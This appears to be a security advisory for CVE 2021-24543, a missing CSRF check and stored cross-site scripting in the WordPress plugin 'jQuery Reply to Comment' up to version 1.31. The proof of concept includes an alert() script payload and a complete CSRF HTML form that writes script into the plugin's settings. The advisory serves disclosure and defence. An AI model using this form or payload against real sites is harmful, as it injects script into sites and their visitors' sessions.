jQuery Reply to Comment <= 1.31 – CSRF to Stored Cross-Site Scripting | CVE 2021-24543

Description

The plugin does not have any CSRF check when saving its settings, nor sanitise or escape its 'Quote String' and 'Reply String' settings before outputting them in Comments, leading to a Stored Cross-Site Scripting issue.

Proof of Concept

Put the following payload in the 'Quote String' or 'Reply String' settings of the plugin, then view a frontend page where there is a comment to trigger the XSS: <script>alert(/XSS/)</script>

Via CSRF:
<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=jqr2c.php" method="POST">
      <input type="hidden" name="jqr2c_reply" value="Reply<script>alert(/Reply/)</script>" />
      <input type="hidden" name="jqr2c_quote" value="Quote<script>alert(/Quote/)</script>" />
      <input type="hidden" name="jqr2c_usephp" value="1" />
      <input type="hidden" name="jqr2c_position" value="bottom" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>